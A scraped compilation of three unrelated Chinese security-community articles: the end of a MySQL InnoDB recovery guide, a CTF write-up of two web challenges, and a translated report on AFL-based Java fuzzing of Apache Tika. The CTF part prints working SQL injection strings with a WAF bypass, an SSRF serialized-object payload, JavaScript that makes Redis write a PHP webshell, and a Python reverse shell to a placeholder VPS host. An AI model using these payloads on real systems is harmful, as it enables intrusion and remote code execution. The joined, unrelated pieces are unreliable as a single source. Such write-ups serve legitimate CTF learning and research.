前面提到数据表结构的重要性，顺便提一下数据表结构的恢复。undrop项目提供sys_parser工具（默认没有编译，需要自行安装相关的开发包环境进行编译），据说可以从ibdata1文件恢复出表结构，本人没有进行试验，只能说这是比较终极的数据恢复方案。这里主要提一下众所周知的方法：从frm文件恢复数据表结构。其实恢复过程比较简单，就是需要拿到待恢复数据库sakila的相关frm文件（默认在“/var/lib/mysql/sakila”），如本例可以找到actor.frm文件，然后只要通过mysql新建一个测试数据库，且在里面新建一张任意结构的Innodb表actor，最后替换一下该测试数据库下对应的frm文件重启mysql服务即可（其实在本人机器上测试，后面查询表结构时直接出错，应该和mysql的版本有关系，不过我相信众位机油们这点小问题应该不算什么哈）。
**总结**
本文就自己所遇到的场景做了一次数据恢复的演示，其本质是利用Innodb引擎索引数据的原理来对数据空间文件的数据进行提取。通过本文，希望遇到类似情形的朋友可以作为参考，不轻易放弃对数据的恢复，同时也奉劝各位做好数据备份工作，因为偷懒少写的那几行代码，有可能让你付出惨痛的代价，天灾人祸无可避免。另外，服务器安全维护工作也很重要，如果被人拿走了本文所说的重要文件ibdata1（默认需要root权限），那就和被人脱裤差不多了。 | 社区文章 |
## Web
### facebook
打开题目，发现Web应用有两个功能。一个是登录，一个是注册，如下：
发现注册的时候blog处只能写url链接
而且在查看用户信息的时候，发现Web应用加载了用户的blog网址，这里就存在SSRF漏洞。
在进行fuzz测试的时候，发现查看用户信息界面存在SQL注入，直接使用报错注入，会发现数据库里面只有用户的注册信息，如下：
爆表名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
这里发现data字段存放的事用户信息经过反序列化的结果，结合前面 **view.php**
页面会加载用户的blog信息，所以这里极有可能是利用反序化数据库中的data字段，然后取出url字段并加载，即可以SSRF。
所以我们要做的就是将SQL语句查询结果中data字段反序列化后，内容中的url等于flag.php即可（因为在测试的时候发现存在flag.php文件，所以我们可以先读取该文件）。所以我们构造SQL语句如下：
/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
上面base64解密即可得到flag。这里注意一些点，直接用 `union select` 会被WAF检测到，所以我们添加了 `/**/`
来绕过。还有就是我们反序列化字符串放在第四列，因为对应为data列名，原因看上面爆列名的结果。
这题的常规解法是先看robots.txt，发现有源码泄露，然后根据泄露的源码构造反序列化字符串，之后的过程和上面一样，不赘述。
我们可以阅读一下view.php，就大致明白原理了
### spider
这题
[参考官方WP](https://blog.csdn.net/xiangshangbashaonian/article/details/81870097)
(官方WP中部分payload有错误，有的不全，有的复制空格丢失)
题目界面如下，网站title提示为 **python flask** 程序( **title：控制台-自豪地采用Flask** )
访问 **robots.txt** 发现存在 **/get_sourcecode** 文件，访问该URL提示 **NOT 127.0.0.1** 。
尝试伪造IP绕过，发现并不能，转换思路。首页的爬虫分析系统会执行 **JS** 代码，我们构造如下代码，通过服务器执行 **JS** 代码来访问
**/get_sourcecode** 文件。（下面会用到 **Ajax** 内容，不会请先点
[这里](http://www.w3school.com.cn/ajax/) ）
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200){
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
当服务器执行 **AJAX** 请求后，会把返回结果存在 **id** 为 **flag** 的 **a标签** 中。
拿到 **get_sourcecode** 源代码，具体如下：
在第61行处发现 **redis** 关键字 **dbfilename** ，猜测题目存在 一个 **redis** 未授权访问，攻击思路应该是通过
**redis** 写马 **getshell** 。我们先通过 **JS** 代码探测主机开放了哪些web端口。（这里有个小坑，通过 **JS**
代码并不能发现 **redis** 的端口6379是开放的，但是该端口确实是开放的。有人说 **JS**
代码只能探测Web类端口，在探测redis端口的时候回卡在等待界面，具体原因还需细究。）
<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,6379,8000,8080,8088];
for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload", poc);
TagName.appendChild(script);
}
</script>
发现 **8000端口开放** 着，猜测可能运行着一个 **PHP** 的Web服务。再次通过 **JS** 代码，操纵 **redis** 并写入
**shell** :
<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
接着构造 **JS** 代码访问我们构造的PHP文件即可获得flag：
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
xmlhttp.send();
}
loadXMLDoc();
</script>
PS：直接反弹shell也可以，测试的时候发现直接用bash反弹不行，但是用python代码可以反弹回来，可能是题目环境限制了一些关键词。
补充一下 **反弹shell** 的 **payload** ：
<a id="flag">pwn</ a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\');eval($_GET[_]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
xmlhttp.send();
}
loadXMLDoc();
</script>
## 其他WP
[i春秋网鼎杯网络安全大赛minified题目writeup](https://blog.csdn.net/xiangshangbashaonian/article/details/81870097)
[网鼎杯第一场spider题详细writeup](https://mp.weixin.qq.com/s/yZ-Xp32tCPWbDiFgAHiWgw)
[2018网（PWN）鼎杯第一场解题记录（Writeup）](https://blog.csdn.net/SWEET0SWAT/article/details/81879942) | 社区文章 |
* 原文标题：AFL-based Java fuzzers and the Java Security Manager
* 原文链接：<https://www.modzero.ch/modlog/archives/2018/09/20/java_bugs_with_and_without_fuzzing/index.html>
* 原作者：modzero ag
在过去的半年里，我一直在用基于AFL的Java Fuzz工具做一些Fuzzing，即Kelinci和JQF。我并没有用过[java-afl](https://github.com/Barro/java-afl)这个工具。本文要介绍的内容为：
* 基于AFL的Java Fuzz工具的简要说明
* 在Apache Commons中发现未捕获异常的第一步以及相关的解释
* 对Java Fuzzing目标的解释
* 使用JavaSecurity Manager进行Fuzzing测试
* 测试Apache Tika
* 针对Apache Tika发现的漏洞
* 使用Kelinci对ApacheTika进行fuzzing
* JQF和Java中的一个bug
* 添加一个x86的fuzzing机器
* 总结
下文提到的几个文件,都在 <https://github.com/modzero/mod0javaFuzzingResults>.
此外，zip文件中还包含一些其他文件，这些文件产生了相同的bug。
## 基于AFL的Java Fuzz工具
AFL Fuzzer现在非常受欢迎，因为它执行了工具化的fuzzing。如果你不熟悉AFL，最好在阅读这篇文章之前快速看一下
[AFL](http://lcamtuf.coredump.cx/afl/)。尤其重要的是了解AFL如何处理挂起（需要花费太多时间处理的测试用例）和崩溃（例如，目标程序段错误）。
Kelinci是一个用Java语言实现的AFL，前景很好。尽管每个Fuzzing测试实例有两个进程的方法有点笨拙，而且会引起困扰。一个进程是在原生C侧，将AFL产生的突变输入并通过TCP
socket发送给第二个进程。第二个进程是Java进程，它向目标程序提供输入，并返回使用此输入的代码路径。在这个Fuzz的Java部分中有一些错误信息并不总是明确的（至少对我来说），但它们似乎表明Fuzzer已经不在一个健康的状态下运行。然而，到目前为止，Kelinci工作的很好，并取得了很多结果。这个项目已经七个月没有开发了，希望作者能重新捡起来。
JQF是维护很积极的，最后一次更新在几天前提交。它采取的不是大多数Fuzz安全研究者所采取的经典的Fuzz方法，而是基于Java的单元测试，更多的关注开发人员。目前它只支持AFL-t开关的超时设置，而且还只有基本的afl-cmin支持。对于使用单元测试的开发人员来说，这是完美的，但它并不是安全研究人员进行Java代码fuzzing的最灵活的Fuzz工具。
java-afl已经四个月内没有更新了。实际上我从来没有成功使用过这个Fuzz工具。我[尝试问](https://github.com/Barro/java-afl/issues/1)开发人员怎么去正确地运行它，但是没有找到答案可以帮助我运行我想到的测试用例。如果你可以运行java-afl，请告诉我，知道这个fuzz工具如何运行是一件有趣的事情。
## 从Apache Commons开始
先从[Apache Common's](https://commons.apache.org/)
的JPEG解析器开始。这种选择很简单，因为它是Kelinci
Fuzzer的[一个例子](https://github.com/isstac/kelinci/tree/master/examples/commons-imaging/README)。Apache
Commons是一个非常流行的库，对于Java标准库缺少或不完整的情况而言。在通过作者的示例时，我意识到他只给Fuzzer一个包含文本“hello”的输入文件，这不是一个JPEG文件，不是一个很好的启动语料库。虽然这可能是[lcamtuf非常有趣的实验](http://lcamtuf.blogspot.ch/2014/11/pulling-jpegs-out-of-thin-air.html)，使人们相信使用这种语料库数据是一个有效的选择，但它并不是适合fuzzing的有效选择。Lamtuff的实验很好的证明了Fuzzer是智能的，但是对于生产的Fuzzer来说，必须使用合适的输入文件才能取得好的效果。Fuzzing最后都要讨论语料库数据。所以我把jpeg文件放到了AFL网站上的[lcamtuf的语料库](http://lcamtuf.blogspot.ch/2014/11/pulling-jpegs-out-of-thin-air.html)和我的私人收藏中的一些文件。Fuzzer快速出现了一个[我向Apache报告的ArrayIndexOutOfBoundsException漏洞](https://issues.apache.org/jira/browse/IMAGING-215)(fileArrayIndexOutOfBoundsException_DhtSegment_79.jpeg)。很容易开始这个Java
Fuzz测试。如果您对Apache Commons的其他解析器（例如PNG解析器）做同样的操作，那么您可能会发现更多未被捕获的异常。
## 目标：回头重新思考一下目标
在这次快速实验之后，我提出了fuzzing Java更多的想法。Fuzz最初不是应用于内存安全的程序，是希望我们能够发现memory
corruption问题。在Java代码中，越界读写不会导致 memory corruption
，而是会导致或多或少无害的异常（如IndexOutOfBoundsException）。虽然可以找到代码健壮性问题，并可能导致拒绝服务问题，但这些问题的严重性通常很低。问题是我们在寻找什么样的行为和fuzzing的结果？有一些场景非常有趣，但是攻击向量（攻击者如何在现实世界中利用这个问题）很重要。这是我对JavaFuzz的粗略看法：
* 发现JVM的bug
* 任意Java代码作为输入。这可能有助于更多的特殊场景，例如，当您需要从沙箱JVM中逃逸时。在大多数其他场景中，这种攻击向量可能是不现实的，因为攻击者已经在执行Java代码。
* 反馈数据到内置类/函数（fuzz标准库），如字符串。这不是很可能出现结果，但您永远不知道，可能存在Java反序列化漏洞潜伏在JVM代码中？
* 找到low-severity或非安全问题，例如抛出一个未声明要抛出异常的代码（RuntimeExceptions）。
* Finding memory corruption bugs in Java code that uses native code (for example JNI or CNI). This is probably a very good place to use Java fuzzing, but I don't encounter this situation very much except in Android apps. And fuzzing Android apps is an entirely different beast that is not covered here.
* 查找使用原生代码（例如JNI或CNI）的Java代码中的memory corruptionbug。这可能是一个很好的使用Java Fuzz的地方，但我没有遇到这种情况，除了在Android应用程序。而Fuzz安卓应用是一个完全不同的领域，这里不再赘述。
* Fuzz纯Java代码。
* 我们可以去定制目标。这可能取决于您的业务逻辑。例如，如果代码大量使用文件读/写，可能有某种竞争条件？此外,对[密码库的差分Fuzz的思想](https://www.blackhat.com/docs/us-17/wednesday/us-17-Aumasson-Automated-Testing-Of-Crypto-Software-Using-Differential-Fuzzing.pdf)也有很大的意义.
* 发现“资源管理”问题，如拒绝服务（Denial of Service，DoS）问题、OutOfMemoryExceptions、CPU高负载、磁盘空间使用率过高或永不返回的功能。
* Finding low-severity或非安全问题，如RuntimeExceptions。
* Java代码的已知安全问题，如Java反序列化漏洞、服务器侧请求伪造（SSRF）、外部实体注入（XXE）等。
我对这个列表中的最后三个点特别感兴趣：找到资源管理问题、RuntimeExceptions
和常规的Java安全问题。虽然我在上面所描述的小实验中已经找到了一个RuntimeException，但我很确定，我可以通过检查AFL的“挂起”目录来检测某些资源管理问题。不过，找到SSRF等常规安全问题似乎很棘手。Fuzzer需要额外的插桩或消毒器(sanitizers)来检测这种不安全的行为。正如[Address
Sanitizer
(Asan)](https://clang.llvm.org/docs/AddressSanitizer.html)中止了对原生代码的无效内存访问(后者导致了AFL内部崩溃)
,在Java世界中如果有一个能处理上述问题的消毒器会很棒。例如，一个文件消毒器可能会采取一个允许被进程访问的文件的白名单，但是如果访问其他文件，则会中止。这可以用于检测XXE和SSRF场景。如果使用套接字，网络消毒器可能会做同样的操作。设想一个Java图片解析库作为目标。从安全角度看，这样的库不应该打开网络套接字，因为这表示有服务器端请求伪造。这是一个非常现实的场景，我以前在PNG
XMP元数据解析库中找到了XXE问题。
## Java Security Manager
在做了一些研究后，发现没有什么像AFL通常使用的文件白名单消毒器的原生代码。因此，如果我们fuzz任何C/C +
+代码，我们将不得不编写自己的解析器，并且正如[Jakub所说的那样，由于可重入性文件系统函数，可能会很难实现。](https://groups.google.com/forum/#!topic/afl-users/kkVU8_RCtHM)或者你想自己写一个。
回到Java，我发现已经有这样一个消毒器了。最棒的是它是JVM的一个内置特性，它被称为Java Security
Manager。看看这个[我创建的简单的JavaSecurityManager策略文件](https://github.com/floyd-fuh/kelinci/blob/master/examples/commons-imaging/java-security-policy.txt)用我们简单的ApacheCommons JPEG解析代码运行Kelinci Fuzz
grant {
permission java.io.FilePermission "/tmp/*", "read,write,delete";
permission java.io.FilePermission "in_dir/*", "read";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master0/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master1/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave0/*", "read, write, delete";
permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave1/*", "read, write, delete";
permission java.net.SocketPermission "localhost:7007-", "accept, listen, resolve";
permission java.lang.RuntimePermission "modifyThread";
};
它所做的只是允许文件访问临时目录，从输入目录（in_dir）读取并写入AFL的输出目录（out_dir）。此外，它允许Kelinci
Java进程监听TCP端口7007，以及修改其他线程。随着Java Security Manager被构建到每个Java
JVM中，您可以简单地用您通常的命令行启动它，并使用另外两个参数：
java -Djava.security.manager -Djava.security.policy=java-security-policy.txt
因此，在我们的例子中，我们用以下命令可以运行Kelinci Fuzzer服务器进程：
java -Djava.security.manager -Djava.security.policy=java-security-policy.txt -Djava.io.tmpdir=/tmp/ -cp bin-instrumented:commons-imaging-1.0-instrumented.jar edu.cmu.sv.kelinci.Kelinci driver.Driver @@
在ApacheCommons JPEG解析器上运行了几个小时的Kelinci Fuzzer，没有从Java安全管理器获得任何新的结果。然而，我确信Java
Security Manager将把Java Fuzz带到更高的层次。让我们换一个目标来测试。
## 测试Apache Tika
几天后,我偶然发现了[Apache Tika] (<https://tika.apache.org/)项目.由于ApacheTika以前是Apache>
Lucene的一部分，我确信互联网上的许多用户上传的文件是由ApacheTika解析的。正如我目前正在维护的[另一个有关基于Web的文件上传功能(UploadScanner
Burp
extension)的相关研究](https://github.com/modzero/mod0BurpUploadScanner)。这让我更感兴趣了。
ApacheTika是一个内容分析工具包，可以从上千个不同的文件格式中提取文本内容。使用grep估算它在编译时有247 Java
JAR文件的依赖。Apache Tika
[在过去也有一些严重的安全问题](https://www.cvedetails.com/product/35375/Apache-Tika.html?vendor_id=45)。因此，作为一个测试目标，ApacheTika似乎很适合。另一方面，我也知道对这样一个大的代码库使用AFL会很麻烦。当检测到的代码太大时，AFL将或多或少地快速耗尽Fuzzing测试中的bitmap。之后，AFL将无法检测在一个有趣的代码路径中的结果是何时被写入的。我也不确定我是否能成功地使用JavaFuzz工具来测试大型ApacheTika项目。不过，我决定继续试一试。
我第一次尝试用Kelinci工作，遇到了
[多个](https://github.com/isstac/kelinci/issues/2)不同的[问题](https://github.com/isstac/kelinci/issues/6)，最终创建了一个"works-for-me" Kelinci fork。在kelinci运行之后，我也试图让JQF
Fuzz工具运行起来，然而，我遇到了[类似但不同的问题](https://github.com/rohanpadhye/jqf/issues/20)，因此决定在这一点上坚持Kelinci。对于Tika，我不得不采用Java安全管理器策略：
grant {
//Permissions required by Kelinci
permission java.lang.RuntimePermission "modifyThread";
permission java.net.SocketPermission "localhost:7007", "listen, resolve";
permission java.net.SocketPermission "localhost:7008", "listen, resolve";
permission java.net.SocketPermission "localhost:7009", "listen, resolve";
permission java.net.SocketPermission "localhost:7010", "listen, resolve";
permission java.net.SocketPermission "[0:0:0:0:0:0:0:1]:*", "accept, resolve";
permission java.io.FilePermission "in_dir/*", "read";
permission java.io.FilePermission "corpus/*", "read, write";
permission java.io.FilePermission "crashes/*", "read";
permission java.io.FilePermission "out_dir/*", "read, write";
//Permissions required by Tika
permission java.io.FilePermission "tika-app-1.17.jar", "read";
permission java.io.FilePermission "tika-app-1.17-instrumented.jar", "read";
permission java.io.FilePermission "/tmp/*", "read, write, delete";
permission java.lang.RuntimePermission "getenv.TIKA_CONFIG";
permission java.util.PropertyPermission "org.apache.tika.service.error.warn", "read";
permission java.util.PropertyPermission "tika.config", "read";
permission java.util.PropertyPermission "tika.custom-mimetypes", "read";
permission java.util.PropertyPermission "org.apache.pdfbox.pdfparser.nonSequentialPDFParser.eofLookupRange", "read";
permission java.util.PropertyPermission "org.apache.pdfbox.forceParsing", "read";
permission java.util.PropertyPermission "pdfbox.fontcache", "read";
permission java.util.PropertyPermission "file.encoding", "read";
//When parsing certain PDFs...
permission java.util.PropertyPermission "user.home", "read";
permission java.util.PropertyPermission "com.ctc.wstx.returnNullForDefaultNamespace", "read";
//When parsing certain .mdb files...
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.resourcePath", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.brokenNio", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.charset.VERSION_3", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.columnOrder", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.enforceForeignKeys", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.allowAutoNumberInsert", "read";
permission java.util.PropertyPermission "com.healthmarketscience.jackcess.timeZone", "read";
};
手动生成这个策略文件比Apache
Commons更令人讨厌。原因是我们的白名单需要的权限取决于输入文件。因此，如果将PNG文件注入到ApacheTika，它将需要其他运行时属性权限，而不是将PDF文件导入到ApacheTika中。这意味着我们必须先执行一次试运行，然后才能遍历文件的整个输入语料库，并用最小的策略文件运行一次。如果发生安全异常，白名单可能需要另一个权限。这个过程需要花费大量的时间。然而,[一篇2004年的文章](http://www2.sys-con.com/itsg/virtualcd/java/archives/0501/neville/index.html)指出:
> 目前没有工具可以自动生成特定代码的[Java安全]策略文件。
这就是为什么我写了另一个粗糙的黑客工具来生成Java安全策略文件的原因。因为它很粗糙，我给了它取了一个不太好听的名字 [TMSJSPGE on
github](https://github.com/floyd-fuh/TMSJSPGE)。然而，它能正常进行工作，并生成一个Java安全策略文件。它将向目标进程（本例中为Tika）提供每个语料库文件，并在安全策略中添加新规则。
看到上面的属性权限，我还是不知道他们在做什么。不过，我只是决定按照这样，让Tika去使用它们。
如果你使用不同的输入文件运行您的Fuzz工具，你可能需要使用Java安全策略，因为其他代码路径可能需要新的权限。因此，上面提到的Apache
Tika的安全策略很可能是不完整的。
## apache Tika中的发现
正如已经解释的那样，一个好的输入语料库对于fuzz运行成功至关重要。此外，我必须使用尽可能多的文件运行Tika，以确保Java安全策略涵盖了必要的大部分权限。多年来，我收集了许多输入样本文件（大约100'000），通过使用各种库和收集第三方文件运行Fuzz（这实际上是另一个话题了）。因此，我决定使用这100'000文件中的每一个文件运行TMSJSPGE工具，以创建最佳的安全策略。当我检查TMSJSPGE时，我看到这个工具不能给ApacheTika“投喂”某个文件。这意味着ApacheTika在进程挂起时未返回结果。说明在对Apache
Tika
1.17进行Fuzzing之前我已经发现了一些安全问题。删除导致挂起的文件，重新启动TMSJSPGE后，ApacheTika也挂起了其他几个文件。部分文件触发了相同的挂起，去重后，我向Apache
Tika报告了如下两个安全问题：
* [CVE-2018-1338](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1338) \- DoS (Infinite Loop) Vulnerability in [Apache Tika's BPGParser](http://www.openwall.com/lists/oss-security/2018/04/25/6) (file 3_hang_and_uncaught_TiffProcessingException.bpg), 输入以上文件，代码不返回结果, 死循环。
* [CVE-2018-1339](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1339) \- DoS (Infinite Loop) Vulnerability in [Apache Tika's ChmParser](http://www.openwall.com/lists/oss-security/2018/04/25/7) (file 1_100_percent_cpu_dos.chm), 输入以上文件导致CPU 100%占用。
我想知道我收藏的这些输入文件是从哪里来的。触发该问题的几个BPG文件就是我以前给[libbpg](https://bellard.org/bpg/)做fuzzing测试用的，因此它们是由AFL在为本地库创建BPG文件时产生的。触发另一个问题的chm文件是我在Fuzzing项目中很久之前从
[fuzzing project](https://crashes.fuzzing-project.org/chmlib-heapoverflow-_chm_skip_cword.chm)下载的一个文件。这个文件是Hanno Böck提供的，用来为
[CHMLib](https://github.com/jedwing/CHMLib)进行Fuzz测试。
至此，在没开始正式Fuzzing之前，我就已经在Apache Commons里面发现了一个未捕获的异常和Apache Tika中的两个低级别的安全问题。
为了找到引起问题的Java类，我用一个调试器和触发文件运行ApacheTika，在死循环中停止执行，并打印堆栈跟踪。但是，找到这些问题根因的最难的工作是维护人员来完成的，最重要的是Tim
Allison和ApacheTika团队。对于所有即将到来的问题也是如此。
## 使用Kelinci来Fuzzing Apache Tika
在整理出导致挂起的输入文件后，我启动了几个afl-fuzz的Fuzzing实例并等待。Kelinci
fuzzer的行为有时有点脆弱，所以我经常得到“队列满”错误信息。这意味着Fuzz不能正常运行，并且会出现超时。我不得不多次重新启动Fuzz实例，并尝试调整命令行设置以提高稳定性。然而，随着时间的推移，实例经常会重新填充队列。不过，有几个实例运行得很好，发现了几个“AFL崩溃”。记住，在这种情况下，“AFL崩溃”只是意味着未捕获的Java异常。在检查并消除问题后，我向Apache
Tika使用的库的维护人员报告了以下非安全（或非常低的严重程度、定义问题）的问题：
* [Apache PDFBOX解析PDF文件时的两个独立栈溢出的问题](https://issues.apache.org/jira/browse/PDFBOX-4193) (文件 5_uncaught_stackoverflow_checkPagesDictionary.pdf 和 6_uncaught_stackoverflow_getInheritableAttribute.pdf)
* [Apache common ZipFile解析解压文件中的一个数组边界越界问题](https://issues.apache.org/jira/browse/COMPRESS-447) (文件 7_uncaught_ArrayIndexOutOfBoundsException_1.zip 和 7_uncaught_ArrayIndexOutOfBoundsException_2.zip)
* [Gagravarr VorbisJava 解析ogg文件的一个IllegalArgumentException问题](https://github.com/Gagravarr/VorbisJava/issues/27) (文件 8_uncaught_IllegalArgumentException_Skeleton.ogv 和 9_uncaught_IllegalArgumentException_ogg_page.ogv)
AFL的挂起目录没有显示任何有趣的结果。在运行ApacheTika的挂起目录中的每一个文件之后，我发现了一个PDF文件，它花费了将近一分钟的时间来处理，但是没有一个文件导致了Tika线程的全部挂起。我怀疑这两个进程的同步是fuzzer没有发现无限挂起的原因之一。
在这个阶段，我最失望的是，没有一个崩溃表明，除了指定的JavaSecurityManager策略，有其他问题被触发。因为我的Kelinci的脆弱配置，可能不是很容易找到任意文件读写问题。但最终，你往往不知道到底是什么原因导致Fuzzing不成功。
## JQF和Java中的一个bug
我还想在我的ARM Fuzz机器上使用Apache Tika进行JQF
Fuzz测试。起初这不起作用，我发现ARM上的[OpenJDK在JQF上表现得很糟糕](https://github.com/rohanpadhye/jqf/issues/20#issuecomment-369656546)，所以我切换到了Oracle
Java。另外，Apache
Tika不会与JQF一起运行。在ApacheTika修复了Tika的1.17问题之后，我认为是时候通知这些Fuzz工具的维护人员了，所以他们可以尝试自己去Fuzz
ApacheTika。Rohan（JQF维护者）[快速修复了三个独立问题，实现了JQF的测试用例/基线](https://github.com/rohanpadhye/jqf/issues/20#issuecomment-386742103)。在那之后，我可以用自己的语料库来fuzz
Tika，但由于各种原因，性能非常糟糕。其中一个原因是arm机器的性能问题。但是[JQF也不能处理超时](https://github.com/rohanpadhye/jqf/issues/26)（AFL的-t开关）。Rohan尝试了修复，但有时没有效果。Rohan也很快实现了[afl-cmin](https://github.com/rohanpadhye/jqf/issues/25),并说运行[Java安全管理器策略](https://github.com/rohanpadhye/jqf/issues/24)应该是没有问题的。但是，由于ARM机器上的性能问题，我不能正确地尝试这些特性。由于我没有心情切换fuzzing机器，我只是想让fuzzer跑起来。在削减了输入语料库和删除所有可能需要Apache
Tika花费更长时间处理的PDF文件之后，Fuzzer缓慢地跑起来了。放在那儿运行十天后，JQF在Apache Tika1.18发现另一个挂起…
…然而，在向ApacheTika提交这个bug后，他们指出这实际上是Java标准库中的一个bug，它影响Java 10 之前的版本，我重新发现了它：
* [在RiffReader中死循环](https://bugs.openjdk.java.net/browse/JDK-8135160)(file 10_hang.riff),代码根本不会返回。不幸的是，Java/Oracle从来没有为这个问题分配过一个CVE。因此，来自ApacheTika的TimAllison要求他们分配一个，经过三个月的时间和无穷尽的没有实际内容的状态更新邮件，我们仍在等待CVE编号。由于这在Java8中没有修复，所以[Tim Allison也在Apache Tika优化了它。](https://github.com/apache/tika/commit/41bc34ca7e5c7d868755b0adaf992104cabd0c57)
该挂起文件由JQF
Fuzzer通过修改[公共ffmpeg样例中的“fart_3.qcp”](https://samples.libav.org/A-codecs/suite/QCP/fart_3.qcp)创建。因此，在没有主动地针对Java本身的情况下，我重新发现了Java的标准库中的一个bug，因为Tika使用了它。interesing。
## 添加一个x86的fuzzing 机器
同时，我也意识到这些ARM JQF
Fuzz实例卡住了。死循环的RIFF环路文件被检测为崩溃（这可能只是JQF的错误行为），所以我不知道为什么他们现在被卡住了。我试图在另一台机器上运行当前的输入文件，但是用例没有挂起。所以我不知道为什么Fuzz被卡住了，但随着罗汉指出超时处理（AFL的“挂起”）还不完美的。当已装载的代码命中死循环时，JQF将检测超时，因为它将能够计算耗费的时间。但是，如果测试文件使代码循环在未装载代码中，JQF将挂起。我删除了所有的RIFF/QCP输入文件，希望我不会再次发现RIFF死循环错误（我未切换到Java10）并重新启动Fuzz实例。
我决定另外使用一个32bit x86 VMWare fuzzing 机器,也许它会运行更稳定.我用Java8重新设置了JQF
,并且没有RIFF文件作为输入. x86虚拟机性能更好，每秒执行十个用例。所以我让这些实例运行了几天…
…当我回来的时候，两个实例都在运行七个小时后被卡住了。我再次检查是当前输入文件的原因，确实是，所以我发现了另一个bug。清理导致挂起的文件并重新运行,第二天早上发现了另一个bug.所以过了一段时间（至少五次迭代），发现了很多bug：
* [在Junrar中的一个死循环](https://github.com/junrar/junrar/pull/8)(文件11_hang_junrar_zero_header2.rar)，在rar头大小为零的情况下，代码根本不会返回。我联系了一个维护人员，beothorn。目前已经修复，这个问题最后申请了CVE-2018-12418。
* [ApacheTika IptcAnparser的死循环] (<https://seclists.org/oss-sec/2018/q3/257)处理IPTC元数据(文件12_hang_tika_iptc.iptc)，代码根本没有返回。它被修复好之后分配了CVE-2018-8017。>
